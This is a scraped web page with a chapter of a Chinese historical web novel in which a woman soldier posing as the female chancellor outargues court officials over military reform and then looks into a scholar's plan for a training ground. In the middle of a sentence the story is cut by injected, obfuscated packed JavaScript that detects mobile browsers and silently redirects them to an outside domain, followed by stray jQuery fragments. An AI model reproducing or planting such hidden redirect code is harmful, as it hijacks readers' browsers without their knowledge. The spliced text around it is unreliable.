默认冷灰
24号文字
方正启体

9. 女相

作者:折青瓦本书字数:K更新时间:
    一屋子文人缄默不语。


    齐刷刷把目光投向苏范,仿佛在用眼神警示她,如不能修正东哥儿这种危险的想法,他们所面临的危机将会无限扩大。


    正所谓基柱不牢,地动山摇。女相作为文官之首,是众文臣之基石。


    要是连这鳌首都不站在他们这边,大家还怎么在朝堂上发挥监察武将、劝谏君王的作用?


    届时,整个文官体系必如将倾之大厦,最终轰然倒塌成一盘散沙。


    “我看是你脑子进水了!”


    苏范早就怒火冲天,她已顾不得言行举止,伸手就要点东哥儿的头,这次东哥儿躲闪不及,被戳的连连退后。


    “好啊,居然敢顶嘴了!”


    “《作邑自箴》正己篇、处事篇中所言为臣之道怕是都忘了吧!”


    “身为女相,居然还有脸说我等阻止官家行那所谓改革之事,难道你忘了祖宗之法不可弃,国之大局要以稳为重。”


    苏范言语如霹雳连珠,震得东哥儿心烦意乱,加之当众出丑,燥郁之气瞬间迸发。


    “讲话就讲话,不要动手动脚的。”


    “老是拿祖宗之法说事,你们就是拿这个当借口来要挟官家。”


    噼里啪啦一顿输出,面对一屋子官员,东哥儿怎么看都觉得面目可憎,这一个个因循守旧,极力阻扰改革变法,显然别有所图。


    还能图什么呢?


    就是怕武将崛起后,官家不再倚重他们呗!


    “我说……你们是不是生怕被夺了权啊?”


    不等苏范开口,东哥儿把矛头指向在座诸位大小官吏,权当是应对军中泼皮。


    她堂堂边军副校尉,风里来雨里去,不仅战场上本事过硬,面对手底下的兵痞子,更练就了过硬的嘴皮子功夫,多狠的兵油子她都能拿捏得住,这一点连军司马都说她有办法。


    眼下,最好的办法,就是柿子捡软的捏,先捏爆一个两个镇镇场面。


    “女相大人此言荒谬!我等一心为公,何来有怕夺权一说!”


    说话之人身着绯色公服,品阶不低,这番铿锵言语自然引得其他人跟着发表观点。


    “就是,我等臣工都是为了朝廷,为了大局!”


    “就算是上官,也不能如此非议我等!”


    说话之人大多在四、五、六品阶,二、三品的大员倒是谨慎,只皱眉不语。


    东哥儿笑眯眯地听着,就怕这帮官员不接话,那她这以进为退就没效果了。


    “都说完了吗?说完该我说了!”


    东哥儿头一昂,眼神逡巡四周,颇有威慑力,“你们不是常说君君臣臣、父父子子吗?那官家可是君父,诸位可是臣子?”


    “那还用说,自是如此!”


    “正是如此,我等做臣子的才要努力为国劝谏,鞠躬尽瘁死而后已。”


    双方你来我往,东哥儿只觉对方真心上道,句句都往套里钻,一切尽在意料之中。


    “哦?!我看不见得吧!”


    机会就在眼前,东哥儿话锋一转,伸手一指方才第一个发言的文官,“你儿子今年多大了?”


    “犬子今年刚及冠,正在太学进学。”


    提起自家长子,被指官员颇为自得,“不才刚通过上舍考试,来年可以直接参加礼部省试。”


    东哥儿顺道,“那真是恭喜,来年中举后,可有想过让他在何处任职啊?”


    不曾有疑,绯衣官员倒觉得是在上官面前展示自家孩子能力的机会,“倒是没有具体打算,总归想先做个翰林编修吧!”


    “如果他想从基层做起呢?大人会答应吗?”东哥儿继续循循善诱。


    “这……下官以为不妥……”绯衣官员想也不想就开口拒绝,他绝不允许自家孩子放着京官不做,做那外放的地方小官。


    “都是为朝廷做事,有什么不妥的?如果他非要去呢?大人是不是要极力阻扰?还是说,只要不如你的意,那就是错的?”


    见时机成熟,东哥儿绵里藏针,顿时发难。


    绯衣官员慌不择言,“此事无关乎对错,我只是为他好!”


    东哥儿抛砖引玉,费了老大力气,终于等到这句话,当下朗声道,“你不准儿子外放,是因为京官好做;官家推行军改,不也是为了强军富国吗?”


    就此,东哥儿终于把话题扯回军改上,开始全面反击,“作为父亲,你站得高看得远,那官家身为君父,不比你眼界强多了?”


    “为了阻挠改革之事,多次忤逆君父,你们就是这样做臣子的?”


    一言毕,满堂寂。


    众人被东哥儿突如其来的类比,打了个措手不及,不仅绯衣官员,其他人也头脑发懵,一时没有破解之法。


    东哥儿环顾四周,没见到一个人跳出来,不由心中大定,心道这把总算能拿住这帮腐儒了。


    苏范本想让众人群起而攻之,好叫她知难而退,眼见形势急转直下,只得站出来,“你这是强词夺理!”


    “我哪里强词夺理了?”


    苏范以势压人,压得东哥儿脾性上来,偏要与之争锋相对。


    仗势不成,苏范一时半会也没个法子,只能妄图用母亲的身份来压制。


    “你……你目无尊长!”


    “那你眼中有官家吗?”


    “……”


    凭着一招鲜吃遍天的手段。


    此一回,东哥儿也算舌战群儒,牵着这群文臣的鼻子走。


    完胜!


    偷鸡不成蚀把米,教训不成反被训。众人无计应对,纷纷借机逃遁做鸟兽散。


    苏范急火攻心,又无可奈何,盛怒之下只能拿出老把式,罚东哥儿禁足抄书。


    刚打了一个胜仗,东哥儿本想趁胜追击,但考虑到自己女相的身份,还是捏着鼻子没有反抗。


    见好就收,这是她在军中历练得来的经验。眼下她毕竟还顶着苏罔的身份,把苏范得罪死,恐怕后面会有更多打压。


    思及此,东哥儿觉得暂时得忍一忍。


    一晚上过去,东哥儿睡到日上三竿。


    才睁开眼折腾出点动静,早有丫鬟闻声过来伺候,从她们口中,东哥儿得知早朝基本上隔日一次。


    她已连


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060560|179193||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着上了两次,今日终于不用早朝。


    东哥儿反而特别精神,眼瞧着丫鬟先是焚香,又用姜、柳熬制的汤汁帮她洗漱,再用香粉为其敷面,东哥儿真真切切感受到贵族生活的奢华。


    不光如此,早餐搭配的汤饼、大米小米粥,再加上各色小菜和药膳“煎茶汤”,直让东哥儿大开眼界、大呼过瘾。


    祭好五脏庙,东哥儿心满意足,打算去讲武堂瞅瞅军改进展。


    扛着官家这杆大旗,苏范的命令如同一张废纸,东哥儿乘车大大方方出了相国府。


    刚到讲武堂门口,就看见大门东侧的墙上贴了一张大大的告示,不用过去看,东哥儿猜是与军改有关。


    随便找个小吏一问,果不其然,就是今早晏白吩咐贴上去的。


    进展还挺快,东哥儿在心里评价一句,问,“大学士现在在哪里?”


    “回女相大人的话,晏学士一早来了趟这里,随后便快马出了城,说是要去勘探什么地形。”


    逮着小吏一问,东哥儿才知晏白卯时便已来过讲武堂,而后又揣着心思匆匆离去。


    一大早就出城,指不定又想出了什么新点子。


    东哥儿忍不住好奇追问,“知道他去哪了吗?”


    “这小人就不知了。不过晏学士离开前好像吩咐书吏准备好城外所有土地的测量和归属文书,说是午时之前必定回来查阅。”小吏如实回答。


    东哥儿点点头,然后进了讲武堂,打算先去看看那什么土地文书。


    于她而言,就算不知道晏白打得什么主意,提前了解一下有关内容,也好心中有数,不至于等晏白回来商量事情时一问三不知。


    说是看文书,其实就是书吏一篇一篇详细汇报给东哥儿听,那什么劳什子文书,她着实看不大懂。


    书吏讲得嗓子冒烟,东哥儿时不时颠三倒四地提问,还听得一知半解。


    大约过去两个时辰,晏白带着随从策马而来,疾驰至讲武堂大门外,一个漂亮的动作翻身下马。


    听到动静,东哥儿朝外探头,就见晏白风尘仆仆走了进来。


    “你一大早出城,去哪勘探地形了?”


    东哥儿放下手中卷宗,直视晏白,“打算做什么呢?”


    放下马鞭,晏白径直走到桌边,提起茶壶给自己到了一杯,饮了一杯再一杯,才放下,“趁着今日无早朝,我去城东选了块地,打算请旨建个校场。”


    “建校场?在城外建校场干什么?”


    东哥儿一时没反应过来,晏白瞧她不解的模样,补充道,“当然是为了练兵。”


    “不在西北就地练兵,改到京城外了?”


    眼瞅着偏离原定计划,东哥儿既好奇又懒得费神,直接摊牌,“直说吧,你葫芦里到底卖的什么药?”


    晏白很是意外,话都说到这个份上,眼前人大体应该洞悉他的想法了,怎么还跟个门外汉一样,一知不解。


    当真蹊跷。


    “你真不知道为何要在城外练兵?”


    晏白试探询问,双眸直视东哥儿,仿佛希望从她脸上看出蛛丝马迹。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)